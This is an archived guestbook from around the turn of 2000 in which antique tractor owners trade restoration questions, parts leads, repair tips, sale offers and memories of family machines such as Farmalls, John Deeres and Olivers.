Royce Carter wrote on Saturday, January 29, 2000 (PST):My Dad bought a 1950 Model "A" Avery similar to the one pictured in 1950. I used the tractor as a young farmer growing up in Tennessee, and we sold it when my Dad died in 1982. I moved to Indiana in the late 60's and a few months ago, became very interested in trying to find my Dad's old Avery. Luckily, I found it was bought by one of the neighbors in Tennessee, and still in fairly good condition, but short of TLC. The owner sold it to me and I'm now in the process of restoring it and need help finding sources for parts, gaskets, etc. I have the original manual with all part #'s etc. Any and all suggestions as to where to find parts would be gratefully appreciated.
Lance wrote on Saturday, January 29, 2000 (PST):I am looking for a picture or a decrition of a Schwartz Loader decal. I have a Farmall M and just bought a mint condition loader for it, but the loader needs paint and I am not sure what the Schwartz decal looks like.
Mike Wolfmeier wrote on Saturday, January 29, 2000 (PST):On the top of the frame between the carborator and clutch pedal there should be a serial number that you can look up in the book.
Mike Wolfmeier wrote on Saturday, January 29, 2000 (PST):I am restoring a 1937 F-30. Am looking for a gasoline manifold and a new head gasket for it. Any help would be appreciated.
Doug Fuller wrote on Saturday, January 29, 2000 (PST):Would the person from Ohio who was interested in my John Deere R please call back, I was suppose to send a picture but lost your address and phone number. You live North of Cinncinati. Thanks Alot!!!
Dwight Stoltzfus wrote on Saturday, January 29, 2000 (PST):Iam looking for a belly mower for a "G" either flail or rotary.Thanks
Judy Sateren wrote on Saturday, January 29, 2000 (PST):My dad fixed up a "B" SN 28772, it has the electric start the for-runner of a three point hitch and walking narrow front wheels. Would like to know any information about this "B". Age,original-Assembly and selling locations.
William Moore (Sedalia Colo.) wrote on Friday, January 28, 2000 (PST): I own a John Deere Model H (sn6080) 1939 that I just finished restoring and it came out beatiful, am going to put it up for sale this summer but will probably be sorry (as far as the s.n. tag, Ihave always known them to be behind the flywheel) As far as wheels for a H can get new rims and weld to your wheels (9.5 32)
Gerry Oehler wrote on Friday, January 28, 2000 (PST):Love this MM site. Pics are great. I still have the M602 that my Grampa and Dad used as a main field tractor on the prairies. As a result of the economy, I no longer farm. I still have M602 and plan to restore it when I have some $. Would love to see any pics of an M602 if anyone has available. Again, love the site!!
Mark Heagy wrote on Friday, January 28, 2000 (PST):I have a Twin City Ser. 27834 1928? complete but not running, I would like to have an estimte on what this tractor is worth roughly, because I would like to sell it. Thank You
Mark Heagy wrote on Friday, January 28, 2000 (PST):I HAVE A 1956 JD 820 SER. 8200515 THAT IS RUNNING, BUT THE STARTING ENGINE NEEDS VALVE WORK. IF ANYONE HAS ANY IDEA ON WHAT THIS TRACTOR IS WORTH PLEASE E-MAIL ME AT THE ABOVE ADRESS THANK YOU
greg w. hopping wrote on Thursday, January 27, 2000 (PST):i am looking for a set (5) independent gang cultivators for my model g tractor and farming operation. any information is helpful. thanks
TravisC.Jones wrote on Thursday, January 27, 2000 (PST):I aquired a FarmallB two years ago when I bought my place it was on it & the previuos said it went with the place. It had been sitting out in the weather & the exhaust stack,was broke off at the manifold. I had to pull the head off the engine because the motor was locked up. When I pulled the head I noticed the #3 cylinder had two inches of trash on top of it. So I cleaned up the trash as best I could with air & gas &, also had to clean up the #3 exhaust valve which had been open & let everthing in the #3 cylinder to begin with. I reinstalled the head & torqued nuts to 50pounds with old gasket although I dont recomend doing that. Bought 4 new spark plugs & set ignition wires & rebuilt the carb. Had to 2 new hoses for the radiator added water & gas & new oil.For about $35.00 & tried to start it up & to my suprise it started on the third try.I am using it now & aquiring every attachment I can find.Good Luck in your restorations everyone. If I can help anyone you can e-mail me at cole at axs4u.net
Leon Dupont wrote on Thursday, January 27, 2000 (PST):I have long been an owner of the Oliver OC-3 and 4 series Have several of each torn down for parts. Would be glad to give any info i have.
Bill wrote on Thursday, January 27, 2000 (PST):My mother-in-law gave me a '55 IH 300 Utility with instructions to make it run and look good again. Still early in the restoration (tearing it apart) process. Been trying to find websites with good assortment of parts for the 300 U's, but parts seem few and far between. Anybody know good websites or part sources?
Todd wrote on Wednesday, January 26, 2000 (PST):Question-I have a Farmall Super A and the steering knuckle has more than average play in it. How do I go about fixing that. Also, I'm looking for the 3-pt hook-ups (between fenders, to cylinder, and drops) can anyone tell me where to find or start to look? Thanks
Jeff Aker wrote on Wednesday, January 26, 2000 (PST):Hi, I just recieved a M Tractor from my dads estate. It is in absolutly perfect shape with new tires the works. It has the two tires touching in a V shape and has hydralics comming out the back. I also recieved a B tractor. I am thinking about selling the M as I have no use for it. The B has a belly mowers so I am gonna keep it. If you are interested in the M let me know. If any of you can tell me about what a fair value is I would like to know also. I am not looking to make a killing on it would like to have some one who loves tractors the m model to have it. I am in Northern Indiana. e-mail me or call me at 219-935-4560
Larry Wolfe wrote on Tuesday, January 25, 2000 (PST):In response to John Bowen, the firing order is 1,2,4,3. Also, the wheels on tractor pictured would have originally been black.
Kevin wrote on Monday, January 24, 2000 (PST):I have a 1949 Farmall Cub with hydralics, which I have recently rebuilt. Although I have many attachments including a one blade Woods mower deck, I would like to find a 3 blade mower deck to either buy or trade for the one blade mower deck I already have. I would appreciate any information available.
C. Dixon wrote on Monday, January 24, 2000 (PST):I am looking for Silver King owners who have a web page, or would be interested in creating one for the Silver Kings of Yesteryear tractor club. Please note that you saw this on "YT". Thanks.
C.Dixon wrote on Monday, January 24, 2000 (PST):Am looking for Silver King owners who have a web page, or are interested in creating a page for the Silver Kings of Yesteryear tractor club. Please note that you saw this on "YT". Thanks.
Roberto Rivero wrote on Monday, January 24, 2000 (PST):my brother found an old Hart Parr wich in the plate says; year 1930 set as 18-36 and serie 32789 The tractor is in Uruguay South America and we would like to restore it The tractor runned until 20 years ago now engine is stuck but complete Magneto is lost but we can put something similar. We need some info ; manuals and where to find parts. thanks in advance Roberto Rivero
Jason Baumeister wrote on Sunday, January 23, 2000 (PST):My father just bought a case model "D" to restore.He needs fenders for it.Please call 262-543-2274 if you can help.
vern wrote on Saturday, January 22, 2000 (PST):ihave two front weights for sale for ac g 300.00 ea, also have a complete motor for sale for ac g . has been completely rebuilt 900.00. also various parts for sale.
Brenda O'kelley wrote on Saturday, January 22, 2000 (PST):I would like to know what you need to do to put live power on a M farmall. Would a super M hydrolic pump fit? If anyone has this information please e-mail me at bkokelley at yahoo.com. Thanks again
darrel miller wrote on Saturday, January 22, 2000 (PST):Love the v8s and funk 6 conversions. Would be interested in any of them or any parts..I am doing a V860 in an original 40 9n now Hope it works
Paul C wrote on Friday, January 21, 2000 (PST):1/22/00 I have a 52 cub (love it) I need towork on the brakes. Where can I get a repair manual? thanks Paul
Roy JAMES wrote on Friday, January 21, 2000 (PST):I also inherited an oc 3 oliver crawler from an uncle in Alberta It had been left out in the elements for a number of years . I manged to find another scrapped out unit with a good undercarrige so have since replaced tracks , rollers side frames , and front idlers , am now replacing the magneto with one i have built out of spare parts and then replace the ex valve and in take valve on # 4 cyl. This is a 4 cyl hercules gas engine with the oliver intake and exhaust manifold . have no manuals so am learning as i go . It is a 1942 model with a ware front loader attachment , If I can help with any questions please let me know . I reside in southern BRITISH COLUMBIA [ CRESTON ] .
woods c. swinburn wrote on Friday, January 21, 2000 (PST):I bought a farmall B a few months ago. The engin is frozen and it's in otherwise poor condition at the present time but I hope to restore it during the next year. I live near Huntsvill, Texas. I there is anyone in the area who has had expierence in such a project, I'd like to hear from them and get some pointers. If you're in the same area, you may call me at (409)292-2866. If I'm not home, leave a message and I shall return your call. Thanks, Woods
woods c. swinburn wrote on Friday, January 21, 2000 (PST):I bought a farmall B a few months ago. The engin is frozen and it's in otherwise poor condition at the present time but I hope to restore it during the next year. I live near Huntsvill, Texas. I there is anyone in the area who has had expierence in such a project, I'd like to hear from them and get some pointers. If you're in the same area, you may call me at (409)292-2866. If I'm not home, leave a message and I shall return your call. Thanks, Woods
Vito V. wrote on Friday, January 21, 2000 (PST):I have a 1948 Cub, need help with service manuals and impliments that were made for this tractor. Also was a front loader made for this tractor?? Runs good, want to restore. If you have any information, PLEASE HELP
Jennifer Loving wrote on Friday, January 21, 2000 (PST):Does anyone know anything about the Ford Avery? My father bought one and restored it. He took it to many shows before he passed away this past June. My mother still has it and will keep it. He also restore many 8N Fords. Just wanted to know of othr people that have knowledge about the Ford Avery.
Anthony G. wrote on Friday, January 21, 2000 (PST):PAUL, JUST PUT A GM ALTERNATOR ON MY '46 WC. YOU NEED TO CUSTOM MAKE A LOWER BRKT & YOU CAN STILL USE THE ORIGINAL TOP BRKT. RUN A WIRE FROM THE REAR LUG OF THE ALT. TO THE AMP GUAGE, FROM THE OTHER SIDE OF THE GUAGE TO THE + SIDE OF THE BATTERY. ALSO TO MAKE THE ALT CHARGE AT LOW RPM, RUN ANOTHER WIRE TO THE "A" PLUG IN CONNECTION ON THE ALT. HOOK THIS WIRE UP TO + 12V & A SWITCH. WHEN ITS RUNNING TURN THE SWITCH ON TO PUT 12V TO THE "A" PLUG TO EXCITE THE ALT & IT WILL CHARGE.
T.S. Dye wrote on Thursday, January 20, 2000 (PST):I have set of the arps tracks plus an arps front dozer blade.The tracks are 16 or 17 inches wide.I think they must fit a later model ford. My plans are to install them on an 860 or 4000.
Rob Sheckler wrote on Thursday, January 20, 2000 (PST):I have a Farmall B with a loader,this seems a little unstable because of only one front wheel. Is it posible to change this over to two front wheels like the Farmall A or Cub?
Martin Turner wrote on Wednesday, January 19, 2000 (PST):I got one of these tractors with some land I bought recently. It has been sitting in an old garage for at least 45 years. It was running when it was parked there. As far as I know the only thing wrong with it is that somebody stole both front wheels years ago. I don't really have the time or interest to restore it, but I'd like to see it go to a good home. If you're interested, email or call me and we'll see if we can make a deal. 660-486-3388.
Mike wrote on Tuesday, January 18, 2000 (PST):I beleve I have a DI tractor with Ottawa hoe and loader, but the I.D.tags are missing. Please can you help
Dick Roberts wrote on Tuesday, January 18, 2000 (PST):I have 3 of I/H tractors with the I/H start on gas switch to diesel. A 1956 International 600, A 1956 Farmall 400 and a 1951 TD9 Track Tractor. I still use them on a reqular bases on my farm. There is nothing to compare to the sound of the governer response when under a varable load.
Clare Gingrich wrote on Tuesday, January 18, 2000 (PST):I restored a 1930 GP crossover a few years ago (standard tread) which as I discovered later was one of 64 built. Showed it at Expo II and III in Waterloo Iowa. I have more recently fould the last GP "over the top steer" Sr# 405254. It is in fairly good condition and hope to be able to take it to Expo in the future. Clare
Tom Link (VA) wrote on Tuesday, January 18, 2000 (PST):Just got my SC home about 2 weeks ago. It has at least been kept under cover for the last 10- 12 years LUCKY ME! Engine is not frozen. Reworked mag and has good spark, parts came yesterday and got the card done. With a little luck and a little warmer weather it will be running this weekend
robert bobb wrote on Tuesday, January 18, 2000 (PST):i am looking for tune-up specs for a 1946 vac case tractor please send me some info on the tractor thank you very much
roberto rivero wrote on Tuesday, January 18, 2000 (PST): a friend of mine found a hart parr complete but engine stuck the tractor is a serie 32789 ( 18-36) are parts and manuals available. Thanks Roberto Rivero Uruguay South America
Hank Decker wrote on Tuesday, January 18, 2000 (PST):I have a 1948 Ford 8N which never ceases to amaze me in its performance beyond my expectations. I have acquired a loader which I was told can go on the front of the tractor, but it needs the hardware necessary to actually attach it to the front and rear axles. It looks to be a Deerborn model 19, but I don't know for certain. A brief description; a tube structure that seconds as the hydralic reservoir for the pump, which is drive off the front of the tractor. There are three holes in a bracket that do not line up with anything on the front of the tractor and the back part of the frame work (that part that would be closest to the driver's seat) has an open ended box-like structure with a hole on the inside of the box. The box would be open towards the ground when mounted on the tractor. Can someone tell me where I might get the hardware to affix the loader to the tractor? I was told I will have to remove the fenders of the tractor first if that helps. Thanks.
sam vallaster wrote on Monday, January 17, 2000 (PST):I purchased a 2010 today/there is a grinding noise that comes from the transmission when in gear and also the pto when its engaged.Anybody had the same problems ? What was the fix ? Other than that looks like a real sweet little machine
Russell G. Clark wrote on Monday, January 17, 2000 (PST):I am curiouos in knowing if you would know the price and availability of a PTO clutch housing with engaging Hdwe. also brass bearing housing to engage PTO clutch with. Thank you
Tom wrote on Monday, January 17, 2000 (PST):I have a M H pony I got in a trade it is all there and locked up make offer
Bruce Childress wrote on Monday, January 17, 2000 (PST):I would like to install external hydraulics on my 8n ford.Can anyone tell where to find ifo. and parts to do the job?
Peter wrote on Sunday, January 16, 2000 (PST):I a have a 8N tractor for sale to settle an estate. I also have some antique horse drawn John Deere equipment, ( planter, breaking plow and grain drill)
Peter wrote on Sunday, January 16, 2000 (PST):I a have a 8N tractor for sale to settle an estate. I also have some antique horse drawn John Deere equipment, ( planter, breaking plow and grain drill)
Tracy Bodily wrote on Saturday, January 15, 2000 (PST):I have a 770 diesel and a 77 row crop, I will get the serial # & see if someone can help me find the model year. We live on a dairy farm & operate several tractors,the oldest being our Olivers, both were purchased by my father & grandfather. The 770 does its chores daily & we put a clutch in about every two years, recently we replaced the two speed clutches,it came standard w/ wide front end which i replaced w/ a narrow front about six years ago as it was completly wore out,this machine does not owe us anything to say the least, our 77 row crop has an f11 loader w/narrow front end and still runs great, we use it once in a while. These two machines are what i was raised on in my younger years & i will see that they get restored in the near future.I enjoy reading all the stories of these great machines, as i understand they were one of the first to have live pto & hydraulics .
Jim Radley wrote on Friday, January 14, 2000 (PST): I'm trying to locate the Farmall "M" that my Dad bought new in 1945 and I grew up with. It's a wide front, s/n FBK92932. It was last known to be somewhere in Lewis or Oneida county, New York in the mid 1960's. We have no record of it after that time. I would greatly appreciate any information on this tractor. I would like to purchase it in any condition to restore in memory of my Dad.
L George wrote on Friday, January 14, 2000 (PST):I have an N series with a flat head ford cyl industrial engine (I think it's 226cid0. My Grandmother purchased it from the original owner around 1970. I use it alot for mowing and I'm in need of a new/rebuilt carburetor as well as some other parts. Where can I locate a carburetor?
rick ouellette wrote on Thursday, January 13, 2000 (PST):me and my dad own a 8n we need the top piece that covers the engine
Rick Mayernik wrote on Thursday, January 13, 2000 (PST):WANTED; wheel and hub for International Farmall M. Thank you from Montana
greg moch wrote on Thursday, January 13, 2000 (PST):to mike shutt for engine parts and other items try central plains tractor parts out of sioux falls sd ph # 800-234-1968 they have a web sight-www.centralplains.com i did engine overhaul on my '40 A and all went well. they are a pretty good company frommy experience.
GREG MOCH wrote on Thursday, January 13, 2000 (PST):REPLY FOR PAUL'S ? ON JAN 5, 2000 THE LIGHT SWITCH POSITIONS YOU ASKED ABOUT ARE FOR A LOW CHARGE AT FULL COUNTER CLOCK WISE POSITION. THE NEXT POSITION IS FOR A HIGH CHARGE RATE- IF BATTERY IS LOW ETC. THE OTHER 2 POSITIONS ARE FOR LOW & BRIGHT LIGHTS--THE LIGHTS ON POSITIONS ATOMATICALLY PUT GENERATOR IN HIGH CHARGE. AS FAR AS YOUR ADJUSTABLE FRONT AXLE-TRY TO TURN THE INNER TUBE BACK AND FORTH TO HELP LOOSEN IT. I HAVE A '40 A AND FREED THE FRONT END THAT WAY. I THEM TOOK THE INNER TUBE OUT AND CLEANED THE SURFACES AND LUBED THEM AND THEN REASSEMBLED. BE SURE TO INSTALL THE PINS 1ST THEN TIGHTEN CLAMPS EVENLY, GET THEM TIGHT SO THEY HOLD! GOOD LUCK!!
Butch Giesy wrote on Thursday, January 13, 2000 (PST):Just found this sight and enjoyed reading it. I do have a few comments about some of the information. The oliver red paint can be purchased at tractor supply here in Ohio.All of the 70 thru 88's were all the same red. the 77's have two reverses. 70's have one reverse.
Dick Evans wrote on Thursday, January 13, 2000 (PST):Ihave a relatively late model Cub. It was originally yellow and does not have the rounded hood. I use it for light dirt, mulch, and snow moving with the front mounted blade. I also have a five foot, belly-mount mower. I find that the tractor does not have to power to move well at all, especially up-grade with the mower on. Is that a universal complaint, or am I doing something wrong? My little John Deere garden tractor with a 44" deck can mow rings around it. It is still a fun machine for me, who never had a tractor before.
Stacy Johnson wrote on Wednesday, January 12, 2000 (PST):I have a Massey Harris Model 81. The tractor needs sheet-metal sides. Can anyone help me find some? I'm on my frinds computer, but you can contact me at 3297 60th ST Port Arthur,TX 77640 or (409)736-3347 Any information will be greatly appreciated!
Mark Stallard wrote on Tuesday, January 11, 2000 (PST):I have a 1953 cub for sale new paint, new 3 point hitch and plow.runs great could use new front tires, price 2,500 firm, also has new decals and padded seat cover
PETER M. LINDAHL wrote on Monday, January 10, 2000 (PST):hanks jon for your help I was wondering about the flywheel and clutch plate. The starter that I anm trying to use is a G.M. type. Do you know what type of bendix they used? Pete
MIKE GARLAND wrote on Monday, January 10, 2000 (PST):I JUST PURCHASED A IH ROTO DECK .ITS A MODEL C2 ,I TOOK IT OFF OF A CUB ,THE BRACKETS WERE HOME MADE .THE DECK IS MADE BY DANCO I BELIEVE .ITS GOT BLADES ON IT LIKE A BUSH HOG .DOES ANYONE KNOW ANYTHING ABOUT THESE IF SO PLEASE EMAIL ME THANKS
Dan Conine wrote on Monday, January 10, 2000 (PST):I recently purchased a 1942 VC model. I need to find a water pump, but otherwise it is ready to work. I also have a 1952 model VAC. The VAC runs well, and works hard. I would like to find an eagle hitch for it, though. Any help would be appreciated. (Midwest states, please.)
Robbie Gane wrote on Sunday, January 09, 2000 (PST):My family have a 1917 Avery tractor located in New Zealand, in original going order. This tractor is for sale, any genuine enquiries welcome.
Danny wrote on Sunday, January 09, 2000 (PST):I have a 1950 Cub With 1 year old Woods 42"Belly more, Cultavaters, Grader blade, Turning plow, and Disk. The tractor runs grate And has power lift that works good. I reworked the PTO it has Good Rubber. It only needs painting and I have a manual and the new stickers for the tractor. It has been converted over to 12 volt system and will start verry fast. I want to sell $3,000.00 or best offer. I am in Hartselle Al.
Paul wrote on Sunday, January 09, 2000 (PST):STEVE, On the rotor drive pinion there is a molded line and on the rotor there is a mark 180 degrees from the rotor contact.Line them up and you should be ok. If not e-mail me and I'll tell you how to time the engine.
Paul wrote on Sunday, January 09, 2000 (PST):STEVE, On the rotor drive pinion there is a molded line and on the rotor there is a mark 180 degrees from the rotor contact.Line them up and you should be ok. If not e-mail me and I'll tell you how to time the engine.
Charly Center wrote on Sunday, January 09, 2000 (PST):I have a 9n and would like to have a set of tracks for the old gal. Does anybody have a set for sale or know were i might be able to purchace a set?
Charly Center wrote on Sunday, January 09, 2000 (PST):I have a 9n and would like to have a set of tracks for the old gal. Does anybody have a set for sale or know were i might be able to purchace a set?
Gene Webber wrote on Sunday, January 09, 2000 (PST):I have an OC3 with Oliver loader and am working on restoration. The engine has been rebuilt and now the govenor is not working right. I would like comments from any one with info. or parts for this machine, or one to look at any where near N.H.
steve streissguth wrote on Sunday, January 09, 2000 (PST):I made a mistake! I pulled the rotor out without marking it's position. I have not turned the motor over. Does anyone know of an easy way of putting it back in the correct position?
John Morey wrote on Saturday, January 08, 2000 (PST):My Dad and I rebuilt a John Deere L 25 years ago. I used that tractor seven more years and then sold it to a neighbor down the road. From that day on, I watched it go down the drain.It pains me to see such a good piece of equipment go to ruins.Having a family of 4 and an ex-wife, I am trying to save enough money to buy it back and rebuild it again.The lady that has it thinks that she can make it run;"I Don't Think So Tim"!If I keep asking about it, maybe she'll let it go for nothing.
John Morey wrote on Saturday, January 08, 2000 (PST):My Dad just recently(12/31/99)finished restoring a 1952 Model F-Cub.He needs the original decals for it.Our local IH. dealer can only get after-market decals.Also,if anyone has spare carberator parts available, let me know!
RICHARD A. DOOLEY wrote on Saturday, January 08, 2000 (PST):PRESENTLY OWN A 641, AND WOULD LIKE TO ADD A FRONT LOADER. ALREADY HAVE SEPERATE PUMP AND CONTROLS,WHAT WOULD BE A GOOD CHOICE FOR LIGHT DUTY WORK?
Henry wrote on Friday, January 07, 2000 (PST):I recently purchased a 1945 VAI from my father-in-law. He bought the tractor in 1975 and used it to run an orchard sprayer and "buzzsaw". He ran the buzzsaw first with the belt and later with the PTO. I got the gear driven belt sheave with the tractor, it appears to have a hydraulic pump behind the sheave, is this correct. I would like to be able to use a mower and a rear blade with it, but alas, no 3-point hitch. Is there a 3-point set-up that anyone knows of? I just ordered manuals (parts, operators, service) from my local Case dealer. It seems that they can still get a lot of parts. Any info that can be provided me on the VAI would be greatly appreciated.
Stacy Rohan wrote on Friday, January 07, 2000 (PST):A friend has just purchased a 1939 H. All the manuals that we can find say the serial number should be below the Magneto, however, on this tractor the serial number is behind the flywheel. Has anyone ever heard of this? Thank you, Stacy Rohan
Ted McCrary wrote on Friday, January 07, 2000 (PST):I have a 1948 8N, completely restored, body and engine, The only thing missing is a front bumper. Anybody know where I can find an orginal and the cost?
Lewis Drewery wrote on Thursday, January 06, 2000 (PST):I have ford 8Ns for sale and I am also looking to buy tractors running or not
Wayne Woolley wrote on Thursday, January 06, 2000 (PST):What kind of V8 engine. Is there any information in a book about how to convert to a V8?
Shawn Fairchild wrote on Wednesday, January 05, 2000 (PST):please note my e-mail address has changed. We still have "Bull Moose", it's interesting about the yellow paint. Does anyone know if this was common ? We are investigating installing power steering, otherwise it's a great tractor! Ive never seen a 49'r.
Paul wrote on Wednesday, January 05, 2000 (PST):I have a '45 "A" in decent shape. It has the lights option and the adjustable-width front-end. I recently re-wired it and everything electrical works fine. When I turn the lights switch fully counter-clockwise, the ammeter reads "0", as if it isn't charging. But if I turn the switch one notch clockwise, no lights go on but the ammeter reads a charge. Is this normal operation? Also, the adjustable front-end seems to be stuck. I removed the pins and loosened the breckets, but I can't get it to move. I'm afraid to bang too hard in the wrong place to free it up. Any suggestions?
Adam Huhn wrote on Wednesday, January 05, 2000 (PST):I am curently in posetion of a oliver 66 deisel wide front tractor and In the past 4 years of ownership have learned a great deal about it. The tractor my father and I purchased had a super series frame under it and because of the serial number we belive it to be one of the last tractors. with a shortage of frames oliver bolted a super frame to it which would also explane the wide front and deisel engine. If your tractor has a super frame for the same reason I would like to hear about it.
Jason Pohlmann wrote on Tuesday, January 04, 2000 (PST):I recently restored a '43 H. With it i got a 2 row planter and cultivator. I've been told the planter may be a No.999 or No.290 and the cultivator is an H-200 series. Does anyone have any idea if these are the correct #'s. Does anyone have any pictures of how they are mounted if so e-mail them to me. Also looking for a norrow front JD H toy tractor. I was told the two-cylinder club had them a few yrs ago. Thanks, jason
Scott Pahos wrote on Tuesday, January 04, 2000 (PST):I have a 1949 Farmall Cub.Spent many hours in the garage reconditioning this tractor. Wife says it is time for a new project. Will sell for $3200.00 or offer.I do have a 5 foot sickle mower and rear wheel weights for the tractor.Thanks!
PETER M. LINDAHL wrote on Tuesday, January 04, 2000 (PST): I am starting to put a 6 cyl ford flathead in a 9n ford. I have the bellhousing from Funk and everything but the starter. do's anyone know where a starter can be found or any part numbers to start with.
Mike Meyers wrote on Monday, January 03, 2000 (PST):Have a G with rod knock are bearings still available for these? Good parts sources would be appreciated.
SM wrote on Monday, January 03, 2000 (PST):I have just finished getting a farmall 140 running and would like to find someone in Texas to paint it. I am also looking for a Cub to pull a hay rake with in hay season. The cub doesent have to run or look nice either because I am going to restore it. I dont have a e-mail so leave a measage on this page. Thanks for your help. SM
Bruce Bobo, Jr. wrote on Monday, January 03, 2000 (PST):There has been a 8N (I think) in the family since childhood. Now it is sitting and rotting. I have decided to make it my pet project this year. I could use any information i.e. where to get parts, manuals, advice.
john hoover wrote on Sunday, January 02, 2000 (PST): The 720 diesel has got to be one of the best row crop tractors of all time! If you don't think so give one a try. I have had the privilage of growing up on a farm in the 70's and 80's with a late '58 720D row crop. This tractor is a wide front, pony start work horse. My 720's flywheel came loose in about '93 and my dad left it parked for several years. In '97 my dad told me that if I could get the tractor running I could have it. The 720 was soon hauled across the state to my small farm where I now live. I installed a taper-lock flywheel and rewired the tractor to get it to run. But, as they say that is only part of the story I could talk about this tractor for hours. I dont know why the pony engines always seem to get a bad rap, my pony engine works good and it is still on six volts. I guess there aren't many people out there who love to here a two cylinder Deere started with the little pony ; but I sure do. Most people of my generation have never heard a 720D pulling a one-way sunk to the spools or turning a mixer-mill but boy, have they missed out. All the green blooded boys from where I come from will tell you that a two cylinder diesel says dawnk-dawnk-dawnk not pop-pop-pop like the gassers do. Thanks for the great picture and website.
Ed Rossino wrote on Sunday, January 02, 2000 (PST):I own a 1960 Farmall Model "A" like some information. Which type of belly impliments are used with the hydrulics and which type are used with the PTO ?
Al Marzian wrote on Sunday, January 02, 2000 (PST):Is this a Super MD? It is on my mail route. It has been there for years. Maybe someone can rescue it and do a restoration on it. I am not sure who owns it. E-mail me and I will try to find the owner if you are interested. I think it belongs to an elderly lady in Paris, Kentucky. www.angelfire.com/ky/alfredowork/images/tractor
L. M. Page wrote on Sunday, January 02, 2000 (PST):I own a 1949 Farmall Cub tractor, with a sickle bar mower attached underneath, for cutting my lawn and other grass and weeds around the farm. The tractor proves its usefulness year after year. However, I want and need a repair manual for my Cub tractor. If anyone has one, who's not using it, please let me know. THANKS SO MUCH!!!!
Steve Shrum wrote on Saturday, January 01, 2000 (PST):Have been restoring a 1937 Farmall F-20.Need help with fan pulley assembly.Does anyone know if there is a spacer that goes in between the two roller bearings inside the fan pulley. The shaft that the two roller bearings slide on to shows a slight groove mark and then it has a space and then another groove mark for the other roller bearing. If any one knows the proper assembly I would apreciate some help THANKS
SM wrote on Saturday, January 01, 2000 (PST):I JUST STARTED TO WORK ON A FARMALL 140 SERIAL NUMBER 45539J. I WOULD LIKE SOME HELP IN FINDING THE AGE OF THE TRACTOR AND WHAT KIND OF EQUIPMENT CAN BE PUT ON THE TRACTOR. ANY INFO WOULD BE A GREAT HELP. THANK YOU
MICKEY COMER wrote on Friday, December 31, 1999 (PST):I have a 1937 WK40 MCCORMICK DEERING I am the 2nd owner I
Steve Solomon wrote on Friday, December 31, 1999 (PST):wrote on FRIDAY DECEMBER 31,1999 LOOKING To Purchase a front weight for a G. The G that I Have is Serial No. 282. What was the first serial No. Bought mine from original owner in 1975. Use it and love it. Thanks
mad wrote on Friday, December 31, 1999 (PST):i have a 1948 vac case purchased from the original owner. this tractor came with original front and rear cultivators. the original owner bragged that the tractor had only been rained on once while it was hooked to a stationary peanut picker!!
matt wrote on Friday, December 31, 1999 (PST):We own a 57 330 utility IH that I use on a daily basis.We bought the tractor at an auction for $2000,with snow plow,3furrow plow, sickle mower,cultivator and front end loader.So far we are working 6 acres on our 37 acre farm. My problem is I would like to change the 6 volt system to a 12 volt. I've been told I could put a delco alternator on with a built in regulator but I am worried about the 6 volt starter. Will It get damaged? Should I change anything else?
Kenny Christopherson wrote on Thursday, December 30, 1999 (PST):I have a Farmall M with a Farmhand loader,it is a trip bucket.My grandpa got this tractor for free around 1981,it was in a bad storm and the muffler got knocked off by a fallen tree,and a bunch of water got into the engine and froze it solid.All my granpa did was pour some Kerosene into the engine and it started up and ran like a top.He died in 1993.I am 13 and this tractor is one of three I own.I was wondering if anyone could help me get it running right,it boggs out,and sometimes it is stuck at a high throttle position.Will i need to take of the carb,or the cylinder heads?
George Wiltshire wrote on Wednesday, December 29, 1999 (PST):I have a 1937 F-20 which my father bought new. As a boy & young man I used it quite often on our farm in Virginia. It was slow but could out pull the newer tractors well into the 50's. Sadly it has fallen into disrepair and I am now offering it for parts or retoration. If interested please contact me.
Dan Miller wrote on Wednesday, December 29, 1999 (PST):grandfather was case dealer around 1955 I have 630 diesel need parts for eagle hitch ,can anyone help?
Dan Miller wrote on Wednesday, December 29, 1999 (PST):grandfather was case dealer around 1955 I have 630 diesel need parts for eagle hitch ,can anyone help?
Dave McCaulou wrote on Wednesday, December 29, 1999 (PST):I am looking for a cub. I am in California, but would travel if needed.
Jeremiah Ponder wrote on Monday, December 27, 1999 (PST):My dad omnes a farmall cub with Hydralics. We restored it last year and the hydraulic box was leaking we have went into it twice and replaced the boots, if you know how to stop the leak or have tips then please e-mail me
Mahlon S. Wixson wrote on Monday, December 27, 1999 (PST):Looking for a G with loader.
Mr. Elliott wrote on Monday, December 27, 1999 (PST):I spent many hours on a "super 55" years ago. My father had one in mint condition which we used every day on a southwestern minnesota cattle/crop farm. The tractor had a front end loader with a hydraulic bucket. The hydraulic pump run off the front pto shaft of the tactor. The tractor moved snow and cleaned feed floors every day in the winter and pulled a 24T John Deere bailer over three cuttings of alfalfa and one cutting of straw every summer. Its good to see there are still some up and running!
Bruce wrote on Sunday, December 26, 1999 (PST):Chas Wendell published a history of IH, and I think its still available from stemgas publishing. I have a regular, unrestored, on rubber. I don'y know the year, because the tag is gone. I'd appreciate help dating it, if possible. It isn't the early 1923-24-25 style, but doesn't have the latest style governor. Does that make it 1926-1930? probably so. I'd appreciate comments from any other regular owners out there, especially if you have any detailed knowledge of these interesting old tractors.
SC "Bill" Nichols wrote on Sunday, December 26, 1999 (PST):I was regional territory manager for Oliver from 1947 to 1977 after it had become White Farm Equipment. I also have many fond memories of the Oliver 70, we sold a lot of them. It was one of the first mass produced tractors that had electric starters and lights.
James Hamptonay wrote on Sunday, December 26, 1999 (PST):i have a pony tractor and i tow hay wagons round the farm with my Dad when hes baling. My tractor used to be my brother Marks and we've had it for 10 years. I am 9 years old and my Dad has vintage tractors too
ken wrote on Saturday, December 25, 1999 (PST): i have a 1949 farmall cub. When I bought it ,I took my wife out for our 10th anniversary and I came home with it. And I can not wait until my 20th because maybe I will get a brand new one.
Laurie McCloy wrote on Saturday, December 25, 1999 (PST):ihave a farmall A, 1947, i tow a 2 furrow internationalplow. i have wanted a farmall all my life and have finally got one in my sixties. They're a great wee tractor
Jim Honebrink wrote on Saturday, December 25, 1999 (PST):My Grampa had a WD-45 with a wide front-end and a diesel engine in it. I'm not sure what year it was. I used to haul hay-wagons and oats and beans and unload manure with it all the time while I was growing up, man that was a fun tractor to drive. Then my Grampa had it totally redone, new paint job, decals, tires, the whole nine-yards. But instead of having the diesel engine redone, he swapped it for a gasoline engine. It never really was the same after that. Unfortunately the tractor was lost in a fire that destroyed the machine shed it was kept in.
harold oakes wrote on Friday, December 24, 1999 (PST):can anyone tell me how much a head for an m is worth??
